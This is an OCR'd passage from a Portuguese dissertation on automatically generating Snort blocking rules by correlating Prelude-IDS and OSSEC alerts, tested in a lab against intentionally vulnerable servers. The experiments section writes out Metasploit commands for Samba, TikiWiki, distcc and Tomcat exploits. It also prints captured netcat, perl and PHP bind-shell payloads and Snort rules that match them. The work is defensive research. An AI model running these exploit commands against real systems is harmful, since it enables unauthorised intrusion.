temos informagdes suficientes para decidir pelo bloqueio do trafego, estas regras bloqueiam no-
vas conexdes aos servidores que vao de encontro a politica de seguranca ou bloqueiam trafego
destinado aos servicos legitimos, que contenham dados tidos como suspeitos identificados através
da regra de correlagdo. Apds gerada uma regra para o Snort, existe uma classe responsdvel pelo
envio dessa regra ao Snort, a qual fard o devido tratamento de inser¢ao da regra e recarregamento,

verificando possiveis conflitos.

Uma regra ideal deve ser capaz de detectar a exploracdo da vulnerabilidade e ndo a
utilizacdo de um determinado exploit (ROESCH; GREEN, 2011). No entanto, a automatiza¢io
proposta nesta estratégia para a criagdo de regras para o Snort ndo tem informacdes suficientes
para identificar a vulnerabilidade explorada, mesmo porque essa identificacdo hoje s6 € factivel
em ambientes controlados em laboratério. As informagdes coletadas traduzem a utilizacido de
exploits ou malwares no que nos permite detectd-los. Como a deteccdo ¢ de determinado exploit
essa solucgdo esta vulnerdvel as variacoes dos exploits ja detectados pelo sistema, em contrapartida,
a utilizacdo de uma variacao de um exploit acarretard um novo processo de deteccdo e geracdo de
regras que ocasionard a criacdo de mais uma regra para essa variacao. Ainda, a maioria dos ataques
em redes de computadores sdo executados por script kiddies (MCFEDRIES, 2001), pessoas que
nao conhecem bem a teoria por tras dos ataques invasivos e apenas aprendem a executar um exploit
prefabricado, ndo tendo a capacidade de gerar variacdes desses exploits. Por consequéncia, mesmo
com vulnerabilidade as varia¢Oes dos exploits, o sistema proposto nessa estratégia, apds conseguir

bloquear determinado ataque, estard protegido da maioria dos atacantes que venham a utiliza-lo.

A Figura 4.6 apresenta a arquitetura do Modulo Gerador de Assinaturas/Regras. Este
moddulo trata apenas os alertas origindrios do correlacionador e dependendo das informagdes conti-
das nesses alertas € identificado se a assinatura foi ou ndo extraida para a defini¢do da acdo da regra
a ser criada. As regras criadas neste componente com a acao alert sao utilizadas pelo IDPS para
monitorar servicos constituindo mais uma fonte de informacgao para a tentativa de identificar assi-
natura com a repeticdo do ataque, as regras com a¢ao drop bloqueiam novas conexdes em portas
ndo autorizadas ou bloqueiam enderecos IP de origem tidos como maliciosos ou, ainda, bloqueiam

pacotes baseados no conteudo de sua carga util.

4.4.3 Socket escutando no Snort

O dltimo componente implementado € o que permite a comunica¢ido do Prelude-IDS
com o Snort para o envio das regras. Essa comunicacao € dada em rede e por isso optamos por uma
comunicacdo segura utilizando o protocolo TLS. Ainda, optamos em implementar no Snort um
socket para que este pudesse receber a regra e executar todos os procedimentos necessarios para
0 correto carregamento no sistema em detrimento de executar toda essa operagdo remotamente.
Esta escolha € a que gera menos trafego na rede, atribui uma divisao l6gica de tarefas no sistema e

permite que o Snort gerencie todas as suas regras que pode sofrer interferéncia de outros sistemas
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ou do homem. Este componente foi também implementado na linguagem Java.

Esta aplicag@o deve ser executada no Snort durante a inicializa¢do do sistema operaci-
onal para garantir que a todo o tempo estard em funcionamento. O Modulo Gerador de Assinatu-
ras/Regras tem uma classe que se comunica com esse socket para o envio dessas regras pela rede,
assim ndo hé a necessidade de uma aplicag@o extra em execugdo para essa tarefa. O Apéndice E.2

contem as classes e os comandos necessdrios para a execucao desse componente.

Todas as regras oriundas do Mddulo Gerador de Regras sdao postas em um arquivo
unico que as identifica, /etc/snort/rules/local.rules, ao receber uma regra este componente analisa
nesse arquivo se ja existe regra semelhante atualizando os valores de origem, destino e ac¢do da
regra existente, se for o caso. Caso ndo haja regra semelhante essa regra € adicionada ao final do
arquivo e € feito um recarregamento do Snort para que ele passe a utiliza-la. A Figura 4.7 mostra
um diagrama simplificado desse componente, no qual o SID simboliza as semelhancas das regras

baseadas nos enderecos, portas e carga ttil dos pacotes.
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S AMBIENTE DE TESTES

Este capitulo descreve o ambiente de testes dessa solugdo. O capitulo inicia-se com
a descri¢@o da topologia do ambiente e segue para uma descricdo dos servicos e servidores, des-
crevendo sobre as vulnerabilidades que sdo alvos de exploracdo nos nossos testes. Mais detalhes

sobre estas vulnerabilidades sdo vistas na avalia¢do da estratégia no Capitulo 6.

5.1 O ambiente

Para a realizacdo dos testes, se fez necessario definir um ambiente onde houvessem
as mesmas caracteristicas de um ambiente real. O ambiente de testes desta solugdo foi elaborado
em um ambiente com 3 méquinas servidoras, que serdo alvo dos ataques: 1 maquina com o mé-
dulo gerador de regras e o gerenciador do Prelude-IDS, 1 maquina com o Snort instalado por onde
passa todo o trafego de rede através de uma bridge e uma dltima méaquina simulando um atacante
qualquer numa rede externa, conforme mostrado nas Figuras 5.1 e 5.2. Existem 3 redes definidas
no cendrio: Rede Externa, Rede de Seguranca e Rede Interna. Neste cendrio, o atacante gera os
fluxos de ataques que ao chegarem no Snort ou nos servidores podem gerar alertas de intrusao para
0 Médulo Gerador de Assinaturas e para o correlacionador, ambos instalados na mesma maquina.
Este ultimo, em seguida, gera os alertas de correlagdo a serem também entregues ao Mddulo Gera-
dor de Assinaturas, que por sua vez gera as regras para carregamento no Snort. A Figura 5.2 ainda

lista algumas atividades realizadas por esse componente.

Rede de Seguranca

Servidores

Modulo
Gerador de
Assinaturas

Rede Interna

% Roteador

|
‘e I
Fede Externa ,' Hede de Seguranca

Snort
Atacante

Figura 5.1: Cenario de Testes

Na literatura foram encontrados outros ambientes de testes semelhantes com 3 servi-
dores, por isso esta escolha de topologia (SINGH; RAMAJUJAM, 2009). O fato da rede externa
ser aqui representada por uma tnica maquina nao tira a generalidade da proposta, uma vez que 0s
ataques que este trabalho busca identificar partem de conexdes TCP estabelecidas, ou seja, ndo sio

ataques distribuidos e partem tipicamente de um mesmo e tnico endereco IP por ataque. Além
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Figura 5.2: Fluxo de Dados

disso, foram feitas variacdes do endereco IP do atacante para aumentar a generalidade do trabalho.
Para a configuragdo das redes definidas na Figura 5.1, utilizou-se o enderegcamento constante da
Tabela 5.1. O trdfego da rede interna para a rede externa passa necessariamente pelo Snort que
estd configurado como uma bridge entre essas redes. Além dessas duas interfaces, o Snort tem
uma terceira interface conectada na rede de seguranga, a qual ndo tem roteador. Portanto, uma
rede ndo rotedvel e exclusiva para as mensagens de controle da solucdo, os alertas de intrusdo e
as regras criadas pelo moduloIDS. O administrador das redes e o gerente de segurancga t€m acesso
aos equipamentos por uma conexdo direta a rede de seguranga através de um outro computador

ndo exibido na figura ou diretamente na console dos equipamentos.

O ambiente montado foi estruturado para simular vérios sistemas comunicando-se di-
retamente com o gerenciador do Prelude-IDS, que coleta todas as mensagens IDMEF. Contudo,
uma solug¢do utilizando um unico gerente do OSSEC com varios agentes poderia ser mais ade-
quada. Porém, perderia-se um pouco a generalidade do cendrio para a solu¢do proposta pois ha-
veria apenas um gerente do OSSEC comunicando-se com o Prelude-IDS. As configuragdes do

OSSEC podem ser encontradas no Apéndice C.

Nome Sistema Instalado Rede Externa [Rede Interna [Rede de Seguranca
Snort Snort 192.168.3.10
ModuloIDS Médulo Gerador Regras 192.168.3.90
Servidor I Metasploitable 192.168.2.20  192.168.3.20
Servidor T  OWASP Broken Web Apps 192.168.2.30  192.168.3.30
Servidor Il Windows XP SP2 192.168.2.40 192.168.3.40
Atacante BackTrackS 10.1.1.1/24

Tabela 5.1: Enderecamento de Rede do Ambiente de Testes
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5.2 O Atacante

Em todo ataque existe a figura do atacante. Como citado na Se¢do 5.1, no ambiente
deste trabalho, hd uma méquina simulando o atacante, a qual sofrerd uma varia¢ao de seu endereco
de rede durante os testes. Nesta maquina, estd instalada a distribuicdo Linux Backtrack 5. Para os
testes realizados a mdquina do atacante mostrou nao necessitar de grandes recursos do sistema. A

seguir maiores esclarecimentos sobre a mdquina do atacante.

e Backtrack

O Backtrack! ¢ a distribuicdo Linux para seguranca mais adotada mundialmente (BACK-
TRACK, 2012) e tem uma forte ajuda de comunidades de seguranga para manter suas ferra-
mentas e scripts atualizados. Seu mais recente lancamento, o Backtrack 5 R3, foi disponibi-
lizado em agosto de 2012. A equipe de desenvolvedores consiste de pessoas espalhadas em
diversas regides, nacionalidades e linguas que dedicam esforcos mara manter o Backtrack
com o status de lider entre as comunidades de seguranca. E também considerado o primeiro

no ranking de sistemas operacionais orientados 2 seguranca pela Insecure.org?.

e Metasploit

O framework Metasploit® é a principal ferramenta presente na distribuicio Backtrack, sendo
praticamente um padrdo para testes de penetragdo. Contém um grande banco de dados de
exploits conhecidos. E utilizado para o desenvolvimento de assinaturas de IDS em labora-
térios conforme exposto em sua pdgina eletronica. A ferramenta é desenvolvida em Ruby,

com componentes em C e Assembler.

5.3 O Moédulo Gerador de Assinaturas/Regras

Este sistema € o n6 central para onde convergem os alertas de intrusdo, todos no for-
mato IDMEEF, oriundos do Snort e das 3 mdquinas servidoras instaladas. O correlacionador tam-
bém se encontra instalado na mesma maquina, mas poderia estar em qualquer outro equipamento

da rede.

As regras criadas para o Snort seguem uma légica bem definida. Inicialmente, por
padrdo, se o alerta de correlagdo recebido for critico, a agdo da regra serd “drop” para bloquear o
trafego. Caso contrério, serd “alert” para servir como subsidio para um futuro correlacionamento.
Para alerta critico, cujo destino seja um servico legitimo no ambiente e ndo for possivel aferir
contetido malicioso na carga util dos pacotes, a regra bloqueard apenas o trafego oriundo do IP de

origem do alerta original destinado aquele servigo. Se a partir do ataque for estabelecida uma nova

'Backtrack Linux — Penetration Testing Distribution (http://www.backtrack-linux.org)
2Insecure.org - Nmap Free Security Scanner, Tools & Hacking resources (http://insecure.org)
3Metasploit Penetration Testing Software (http://www.metasploit.com)
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conexao em porta ou servigo, diferente dos permitidos na politica de seguranca do ambiente, gera-
se entdo uma regra de bloqueio aos pacotes destinados a essa porta nesse destino. Nessa situacao,
se for possivel aferir qual servico foi atacado, serd criada uma regra com o objetivo de monitorar
conexdes do atacante para esse servico e obter a carga util dos pacotes de rede para tentarmos
capturar o trafego relativo ao ataque e, através de correlacionamentos, identificar uma assinatura.
Essa regra do Snort para monitorar servicos legitimos é condicionada ao endereco IP do atacante
e atua por tempo limitado e definido pelo administrador. Esse tipo de regra nao bloqueia o trafego
e obedece o mesmo processo de atualizagdo que as demais regras, que devera ser realizado pelo

Snort.

Nesse componente, optou-se por nao deixar registros das regras criadas. Todo o tra-
tamento sobre atualizagdes, comparacdes ou duplicacdes de regras serd feito no Snort quando do

recebimento da regra e preparagdo para o seu carregamento.

54 O Snort

O Snort versao 2.9.1 foi instalado e configurado no modo Inline em um sistema Debian
GNU/Linux 6.0 kernel 2.6.32-5-686 utilizando-se como plugin de saida as mensagens em IDMEF
enderecadas ao gerente do Prelude-IDS. Estes passos estao descritos no Apéndice A. Esta mdquina
estd configurada com 3 interfaces de rede: 2 formando uma bridge entre as redes interna e externa
e 1 conectada a rede de seguranca. As regras carregadas inicialmente no Snort sdo datadas de 14

de marco de 2011 e nao foram editadas.

O Snort esta monitorando o trafego que passa pela bridge. Nesta maquina também estd
instalado o socket de comunicacgdo responsavel pelo recebimento de regras originadas no Médulo
Gerador de Assinaturas/Regras através da porta TCP 2012 no IP da interface conectada a rede de

seguranga.

Esse socket recebe as regras criadas e faz o tratamento para inser¢@o e carregamento no
sistema. Esse tratamento consiste em analises da regra recebida, comparando-a com as j4 existentes
no arquivo de regras correspondente no Snort. Todas as regras antes de serem adicionadas passam
por essa andlise e se for constatada alguma semelhancga, essa regra serd entao atualizada de maneira
que seja mais especifica quanto ao ataque ou que seja mais abrangente quanto a origem e ao
destino. Por exemplo, se ja houver uma regra semelhante cuja origem seja outro endereco IP essa

terd o endereco IP de origem atualizado para “ANY”.

As atualizacdes do campo “opg¢des” das regras, parte responsdvel pela andlise de con-
teudo dos pacotes, tém o objetivo de diminuir a taxa de falsos positivos de maneira a tornar a regra
mais especifica.



64

5.5 Os servidores

Uma das questdes que se levanta quando desejamos montar um ambiente para testes de
penetragdo € como configurar os alvos para serem atacados (LTD, 2012). Neste sentido, decidimos
utilizar como méquinas alvos sistemas vulneraveis disponiveis e difundidos na Internet exatamente
para este fim, a excecdo da maquina Windows utilizada. As maquinas provedoras de servigos no

ambiente de testes sdo como seguem:

e Servidor I - Linux metasploitable 2.6.24-16-server - O metasploitable € uma maquina virtual
intencionalmente vulnerdavel disponibilizada pela equipe de desenvolvimento do framework
metasploit projetada para treinamento e testes de penetracao praticos que executa como sis-
tema operacional o Ubuntu Server 8.04 com diversos softwares em versdes com vulnerabili-
dades conhecidas, tais como Tomcat e TikiWiki, que podem ser encontrados com as mesmas

configuracdes desse laboratério em ambientes de produgdo reais.

e Servidor II - OWASP Broken Web Applications VM Version 0.91rcl - O OWASP Broken
Web Applications € um dos projetos do OWASP que tem por objetivo exemplificar os 10 mai-
ores riscos de seguranca em pdginas web constantes de seu projeto OWASP Top Ten. Assim,
esse projeto disponibiliza uma mdquina virtual Ubuntu com o kernel 2.6.31-14-generic-pae
com algumas modificacdes, cujos maiores exemplos dos problemas de seguranga encontram-
se presentes nas aplicacdes “Mutillidae” e “Peruggia”, que cont€ém um conjunto de scripts
em Hypertext Preprocessor (PHP) que implementam propositalmente esses 10 maiores ris-

cos de segurancga para fins de pesquisa e aprendizado e que sdo explorados neste trabalho.

e Servidor III - Windows XP Service Pack 2 - Este Windows foi inserido no ambiente para
demonstrar que a estratégia atinge também esses sistemas operacionais. Nesta mdaquina,
instalamos o aplicativo Ability Server v2.34 que contém uma vulnerabilidade publica. Nesta
maquina, o OSSEC foi instalado apenas como agente por ndo ser possivel o tipo de instalacao
local na qual o gerente e agente ficam na mesma maquina. Nessa situacdo, o gerente do
OSSEC para esta mdquina foi instalado na maquina moduloIDS. Para os outros servidores (I
e II), foi utilizado o tipo de instalacdo local. A decisdo do tipo de instalagdo foi baseada no
fato de ndo querermos exigir o OSSEC nessa solu¢do. Se varios clientes fossem instalados
para um Unico servidor pareceria que estava-se impondo a utilizacdo daquele HIDS. Além

disso, sé haveria uma tunica instancia do OSSEC comunicando-se com o Prelude-IDS.

5.6 Vulnerabilidades do Ambiente

Os esforgos de testes de IDS variam significativamente em seu escopo, metodologia e
foco (SINGH; RAMAJUJAM, 2009). O escopo deste trabalho sdo dos ataques com exploits ou

os ataques as vulnerabilidades dos sistemas que acarretam uma intrusao ou penetracao do sistema
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para obter acesso nao autorizado aos recursos computacionais. A metodologia utilizada consiste de
uma maquina que gera o trafego malicioso de ataque aos servidores, o qual passa obrigatoriamente
pelo Snort, onde sdo feitas as andlises para detec¢do e bloqueio de pacotes. Esses ataques exploram
vulnerabilidades conhecidas e inerentes nos servidores instalados no ambiente e todos os alertas de
intrusdo gerados tanto no Snort quanto nos servidores sdo encaminhados para a mdquina central,

que tem o objetivo de gerar regras do Snort para realimentar o sistema, como visto na Figura 5.2.

E importante o entendimento de que estas vulnerabilidades sio conhecidas previa-
mente para permitir suas exploragdes nos testes. Porém, na perspectiva do cendrio preparado,
elas simbolizam vulnerabilidades zero-days que nao sdo conhecidas pelos IDPS utilizados. Neste
sentido, ndo € possivel construirmos um comparativo quantitativo com os trabalhos relacionados,
pois estamos utilizando vulnerabilidades especificas e um conjunto de dados também especifico,
ambos adequados ao ambiente de testes elaborado. No entanto, comparagdes qualitativas baseadas
nas principais caracteristicas das solucOes apresentadas naqueles trabalhos podem ser feitas e sdo

apresentadas no proximo capitulo na Se¢do 6.1.
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6 EXPERIMENTACAO E DISCUSSAO

Este capitulo descreve os testes da solu¢do proposta no ambiente descrito no capitulo
anterior bem como resultados alcangcados. O capitulo se inicia com um breve comparativo com 0s
trabalhos relacionados, seguido da explicac@o e exemplificacdo dos testes realizados. Logo ap6s,
sdo apresentados os resultados destes testes. O préoximo capitulo traz as conclusdes do trabalho,

baseadas nas percepc¢des obtidas no decorrer do trabalho e nos resultados obtidos nos testes.

6.1 Trabalhos Relacionados

Nesta secdo, resgatam-se os trabalhos relacionados descritos brevemente na Secdo 1.3
a fim de fazer um comparativo e explicitar as diferencas entre suas caracteristicas, funcionalidades

e resultados com os da solucao proposta.

Fang e Liu (2011) procuraram aumentar a eficiéncia do Snort detectando escaneadores
de porta a nivel dos preprocessadores do Snort, ndo se preocupando com 0s ataques que possam
efetivamente causar danos, nem tampouco utilizaram informacdes de outras fontes como entrada

de seu algoritmo e todos seus testes foram feitos em simuladores.

Vollmer, Alves-Foss e Manic (2011) geraram regras para o Snort no nivel dos pre-
processadores para a deteccdo exclusiva de pacotes ICMP andmalos. Portanto, ndo tiveram a

preocupacio com ataques intrusivos aos servi¢os do protocolo TCP/IP.

Tang (2010) utilizou a ferramenta honeyd que implementa um honeypot para coletar
informacdes dos pacotes que chegam a ele e gerar regras para o Snort. Entdo, estas regras sdo
acrescidas ou atualizadas no seu conjunto de regras. Este trabalho assemelha-se a proposta dessa
dissertacdo por ser focado em ataques na camada de aplica¢do, utilizar o algoritmo de maior subs-
tring comum, prover a prevencao das intrusdes e gerar seu proprio conjunto de dados de testes.
Porém, ndo € uma solucdo escaldvel e as novas regras geradas sdo atinentes ao que for detectado
exclusivamente no sistema honeyd que ndo apresenta o comportamento normal de um sistema real
em produgdo e certamente ndo dispord de todos os servigos oferecidos naquela rede, além de ndo

implementar um correlacionador.

O trabalho de Das et al. (2010) utilizou algoritmos baseados em estatisticas sobre
o trafego de rede da base de dados KDD-99 para detectar intrusdes. No entanto: ndo prové a
prevencdo, a base de dados de prova estd desatualizada e, normalmente, ataques intrusivos nao

geram trafego fora do comportamento normal da rede, ndo sendo percebidos nas estatisticas.

Thakar, Dagdee e Varma (2010) desenvolveram algoritmos, utilizando o algoritmo
de maior substring comum, entre outros, para detectar intrusdes num honeypot implementado
com o honeyd e gerar regras proprias com o auxilio de uma interface gréfica e interferéncia do

administrador de redes. Este trabalho ndo tem escalabilidade, ndo prové a prevencao e estd baseado
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em um honeypot. Um honeypot simula um sistema real, mas ndo tem o mesmo comportamento,

normalmente implementado com interatividade limitada (HOEPERS, 2007).

Aickelin, Twycross e Hesketh-Roberts (2008) procuraram aumentar a eficiéncia do
Snort por generalizacdo de regras para identificar novos ataques, nessa estratégia foram criadas
novas regras através de variacdes e relaxamentos das regras originais € um algoritmo para analisar
a eficiéncia dessas regras, tendo sido testadas na base de dados KDD-99. No entanto, esta base de

dados esta bastante desatualizada.

Militelli (2006) construiu um IDS distribuido no qual a troca de mensagens ¢ feita no
formato IDMEF e os seus agentes incorporavam-se as aplicacdes, interceptando o trafego TLS ou
SSL descriptografado e analisando-o antes de ser tratado pela aplicacao. Neste trabalho, foi focada
a problemadtica de detectar assinaturas em trafego criptografado. No entanto, ndo houve preocu-
pacdo em detectar novos ataques ou gerar assinaturas. A mensagem de rede descriptografada era

convertida no formato PCAP, podendo ser analisada pela maioria dos NIDS conhecidos.

Barrus e Rowe (1998) propuseram uma arquitetura distribuida de agentes provendo
vantagens em escalabilidade, flexibilidade e tolerancia a falhas, desenvolvendo o protocolo de
comunicacdo entre os agentes. O foco deste trabalho s@o os agentes, ndo havendo esfor¢os na
deteccao de novas ameagas e ndo utilizou o padrio estabelecido IDMEF, que permitiria interope-

rabilidade com outros sistemas.

6.2 Vulnerabilidades Exploradas

As ameacas de maior impacto que este trabalho pretende identificar sdo inerentes aos
ataques intrusivos que dao ao atacante a possibilidade de obter acesso ndo autorizado aos recursos
ou dados do sistema (CHAKRABARTI; CHAKRABORTY; MUKHOPADHYAY, 2010). Portanto,
as vulnerabilidades exploradas serdo aquelas que a partir dos exploits sdo obtidos informagdes ou
acesso nao autorizado ao sistema. Estas vulnerabilidades sao desconhecidas pela base de conheci-
mento original do Snort, utilizada no inicio dos experimentos. Identificaremos as vulnerabilidades
aqui, quando possivel, pelo seu identificador CVE! (Common Vulnerabilities and Exposures), que
¢ uma padronizagdo internacional para a nomenclatura das vulnerabilidades de seguranca da in-
formacgdo conhecidas e permite a troca de informacdes entre os produtos e as comunidades de
seguranca. Nesta secdo, ndo serdo exibidas as mensagens em IDMEF. As proximas subsecoes irdo
descrever as vulnerabilidades exploradas e os resultados obtidos para cada uma delas separados

por servidor.

Thttp://cve.mitre.org/
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6.2.1 Servidor I - Linux metasploitable 2.6.24-16-server

Os ataques apresentados nessa se¢do foram todos efetuados com sucesso em suas pri-
meiras tentativas. Porém, a nova conexdo estabelecida pelo atacante foi logo bloqueada por uma
regra gerada no Modulo Gerador de Assinaturas/Regras. Com a repeticao dos ataques, conseguiu-
se chegar a uma regra no Snort que bloqueou efetivamente a execu¢do com sucesso do mesmo

ataque.
o CVE-2007-2447

Uma funcionalidade no servico Samba nas versdes 3.0.0 a 3.0.25rc3 permite ao ata-
cante executar comandos remotamente quando a diretiva “username map script” estéd habilitada no

arquivo de configuracdo do servigo: /etc/samba/smb.conf.

O comando explorativo pode ser executado com o metasploit como segue:

Jmsfcli exploit/multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=192.168.2.20
RPORT=445 LPORT=4444 E

Para a execucio desse ataque, o Snort inicialmente ndo gerou nenhum alerta e o tinico
alerta gerado pelo sistema foi referente a regra criada especificamente para essa estratégia no OS-
SEC, que gerou a saida constante da Figura 6.1. Essa saida foi entdo recebida pelo correlacionador,
que por sua vez gerou dois alertas conforme esperado: o primeiro referente a nova conexdo esta-
belecida e o segundo referente ao servigco ou porta explorado no ataque. Estes alertas, por sua
vez, geraram as respectivas regras que foram carregadas no Snort, para o bloqueio da conexdo

estabelecida pelo atacante e de monitoramento do servico atacado.

Através dessa regra de monitoramento e com a repeticao do ataque aquele servico, foi
possivel colher informacdes relativas aos pacotes de rede relacionados e, juntamente com as de-
mais informagdes, montar uma regra no Snort baseada no payload desses pacotes que bloqueou
a repeticdo desse ataque. Para isso, o correlacionador comparou os valores constantes na drvore
de processos obtidos através da regra do OSSEC com o payload do trafego de rede obtido através
do Snort, utilizando o algoritmo de maior substring comum. A Figura 6.2 exibe os dados cons-
tantes desse alerta do correlacionador. O campo adicional “Compare” na figura € uma saida do

correlacionador utilizando a func¢do de maior substring comum.

A seguir, as regras que foram geradas e carregadas no Snort sdo mostradas.

alert tcp 10.1.1.1 any -> 192.168.2.20 445 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15005;)

drop tcp any any -> 192.168.2.20 4444 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15006;)

drop tcp any any -> 192.168.2.20 445 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
flow:to_server,established; content:"/=‘nohup nc -lp 4444 -e /bin/sh*"; sid:15007;)
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ossec: output: 'netstat': "4444""10.1.1.1:35799""ESTABLISHED""2012-09-22 22:38:59.203313294 -0400"
"root""sh"” "sh -c fetc/samba/scripts/mapusers.sh /=" nohup nc -Ip 4444 -e /bin/sh" """" fusr/sbin/smbd
-D""445"" fusrfsbin/smbd -D""139 445" ;

Figura 6.1: CVE-2007-2447 - Regra de Monitoramento no OSSEC

Querendo dizer | Value

Payload TSMBrF1LANMANL.OLM1.2X002NT LANMAN 1.0NT LM 0.12

Payload SMBs F &@v;uQ9pl:%{'Go\)mu/="nohup nc -Ip 4444 -e /bin/sh " .Windows 2000 2195Windows 2000 5.0
Processo sh

Porta 4444

Alvo 192.168.2.20

ProcessoPai sh -c fetc/samba/scripts/mapusers.sh /=" nohup nc -Ip 4444 -e /bin/sh’
Compare /="nohup nc -Ip 4444 -e /bin/sh’

PortaPai 445

ProcessoPai Jusr/sbin/smbd -D

PortaPai 139 445

Figura 6.2: CVE-2007-2447 - Informacdes no Alerta do Correlacionador

o CVE-2007-5423

A pagina tiki-graph_formula.php na aplicagcdo TikiWiki instalada na versdo 1.9.5 nesse
servidor permite a execugdo remota de codigo arbitrario através de uma requisicio GET que ex-

plora o parametro “f”, o qual é processado pela funcao create_function() do PHP.
O comando explorativo pode ser executado com o metasploit como segue:

Jmsfcli exploit/unix/webapp/tikiwiki_graph_formula_exec PAYLOAD=php/bind_php RHOST=192.168.2.20
RPORT=80 LPORT=4444 E

Durante a execugdo desse ataque, o Snort gera um alerta referente ao tamanho da
requisicdo com a mensagem: “URL too long. Higher than allowed on most browsers. Possible
attack.”. Este alerta, ao chegar no correlacionador, cria um contexto relacionado com o alvo e
a porta 80. Por sua vez, o OSSEC gerou uma alerta relativo a regra de monitoramento, cuja
a principal informacdo para o sistema pode ser vista na Figura 6.3. Este alerta, ao chegar ao
correlacionador, ird gerar os dois alertas esperados. No entanto, um destes fard uso do contexto
criado anteriormente referente ao alvo e a porta 80, que nesta ocasido ja terd a informacgdo do

payload inserida.

Nessa situagdo, a estratégia deste trabalho ndo ird gerar uma regra para monitorar a
porta 80 no Snort, uma vez que ja temos uma informacdo de payload suspeita para a tomada de
decisdo. Como pode ser visto na Figura 6.4, o correlacionador ndo inseriu um campo “Compare”
no alerta indicando que ndo conseguiu aferir uma substring comum de pelo menos 4 caracteres
entre as informacgdes coletadas. Tal dificuldade fica evidenciada na Figura 6.4 pela utilizacdo da

codificacdo em base64.
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Portanto, seguindo a 16gica do c6digo implementado e com o intuito de diminuir os
falsos alarmes, foram geradas duas regras para o Snort com bloqueio de pacotes. A primeira
bloqueando pacotes destinados ao servidor na porta 4444 (conex@o maliciosa estabelecida) e a
segunda bloqueando o IP do atacante destinado a porta 80 nesse servidor, conforme se vé abaixo:

drop tcp any any -> 192.168.2.20 4444 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15014;)

drop 10.1.1.1 any -> 192.168.2.20 80 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15015;)

ossec: output: ‘netstat’: "4444""10.1.1.1:48595""ESTABLISHED""2012-10-14 06:38:44.508221399
-0400" "www-data""fusr/sbin/apache2 -k start" "/usr/sbin/apache2 -k start""80";

Figura 6.3: CVE-2007-5423 - Regra de Monitoramento no OSSEC

Querendo | value

dizer

Payload GET /tikiwikl/tiki-graph_formula.php?w=174&h=218&5=233EmMIin=138Emax=181&
f[]=x.max.eval(bases4_decode(COkKCQKIGHNIDFR0aW1IK2.chr(120).pbWIDKDApOyBAsWdUb 33 V2P Wiven oM Sk7 IEBpbmifc2 VOKCe
t=pdfititle= HTTP/1.1 Host: 192.168.2.20 User-Agent: Mozilla’4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: Close

Payload GET ftikiwikltlkl-graph_formula.php?w=B93&h=3118s5=346&mIn=B58RmMax=B70&
f[]=x.atan2.eval(baset4_decode(CokKOQkIgHNIdFR0awW 12 .chr{120).pbwiDKDApOyBAEWdub 313 vz ZX Y Wiven QoM SkF IEBpbmifczwoKi
Maozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: Close

Processo fusrishin/apachez -k start
Porta J444

Abio 192.168.2.20

PortaPal BO

ProcessoPal | fusr/sbinf/apachez -k start

Figura 6.4: CVE-2007-5423 - Informacdes no Alerta do Correlacionador

e CVE-2004-2687

O Distcc € um programa feito para distribuir tarefas de compilacdo através da rede
entre os hosts participantes e geralmente torna essa compilacdo distribuida bem mais rdpida do
que uma compilacdo local. As versdes distcc 2.x, quando ndo configuradas para restringir acesso
ao servidor, permitem ao atacante executar comandos arbitrarios através de tarefas de compilacao

que sdo executadas pelo servidor sem a devida checagem de autorizagao.
O comando explorativo pode ser executado com o metasploit como segue:

/msfcli exploit/unix/misc/distcc_exec PAYLOAD=cmd/unix/bind_perl RHOST=192.168.2.20 RPORT=3632
LHOST=10.1.1.1 LPORT=4444 E

Diferente dos outros testes, nesta exploracao ndo foi possivel estabelecer a porta de
entrada do ataque, conforme pode ser aferido na Figura 6.5, que mostra a saida da regra de moni-
toramento do OSSEC sem a informacgdo de demais portas na arvore do processo. Por isso, nesse
experimento ndo foi gerada regra para o Snort de monitoramento na porta atacada, mas continua
sendo gerada regra de bloqueio da conex@o estabelecida pelo atacante bloqueando a execu¢do do

ataque conforme pode-se observar:
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drop tcp any any -> 192.168.2.20 4444 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
sid:15032;)

ossec: output: 'netstat’: "4444""10.1.1.1:32912""ESTABLISHED""2012-10-16 23:15:03.650503120 -0400" "daemon""perl
-MIO -e $p=fork() exit,if$p $c=new I0::Socket::INET(LocalPort,4444 Reuse,1,Listen)->accept $~->fdopen($c,w)
STDIN->fdopen($c,r) system$_ while<>";

Figura 6.5: CVE-2004-2687 - Regra de Monitoramento no OSSEC

e Falha de configuraciao no Tomcat

Caso a aplicacdo manager do Tomcat esteja habilitada e seja utilizada a senha padrao
ou uma senha fraca que possa ser descoberta pelo atacante, 0 mesmo pode carregar uma aplicacio

maliciosa que permita a execugdo de comandos arbitrdrios na maquina alvo.
O comando explorativo pode ser executado com o metasploit como segue:

Jmsfcli exploit/multi/http/tomcat_mgr_deploy PAYLOAD=java/shell/bind_tcp LPORT=4444 PASSWORD=tomcat
USERNAME=tomcat RPORT=8180 RHOST=192.168.2.20 E

Para a execucio desse ataque, o Snort inicialmente ndo gerou nenhum alerta e o tinico
alerta gerado pelo sistema foi referente a regra criada especificamente para essa estratégia no OS-
SEC, que gerou a saida constante da Figura 6.6. Essa saida foi entdo recebida pelo correlacionador,
que por sua vez gerou dois alertas conforme esperado, o primeiro referente a nova conexao esta-
belecida e o segundo referente ao servigco ou porta explorado no ataque. Estes alertas, por sua
vez, geraram as respectivas regras que foram carregadas no Snort para o bloqueio da conexdo

estabelecida pelo atacante e de monitoramento do servico atacado.

Através dessa regra de monitoramento e com a repeticdo do ataque aquele servigo,
foi possivel colher informagdes relativas aos pacotes de rede relacionados e, juntamente com as
demais informacdes, montar uma regra no Snort baseada no payload desses pacotes que bloqueasse
a repeticdo desse ataque. A Figura 6.7 exibe os dados obtidos a partir da regra de correlacdo e

abaixo evidencia-se todas as regras geradas para o Snort referentes a este ataque.

alert tcp 10.1.1.1 any -> 192.168.2.20 8180 (msg:"Regra gerada automaticamente"; classtype:attempted-
user; sid:15104;)

alert tcp 10.1.1.1 any -> 192.168.2.20 8009 (msg:"Regra gerada automaticamente"; classtype:attempted-
user; sid:15105;)

drop tcp any any -> 192.168.2.20 4444 (msg:"Regra gerada automaticamente"; classtype:attempted-user;
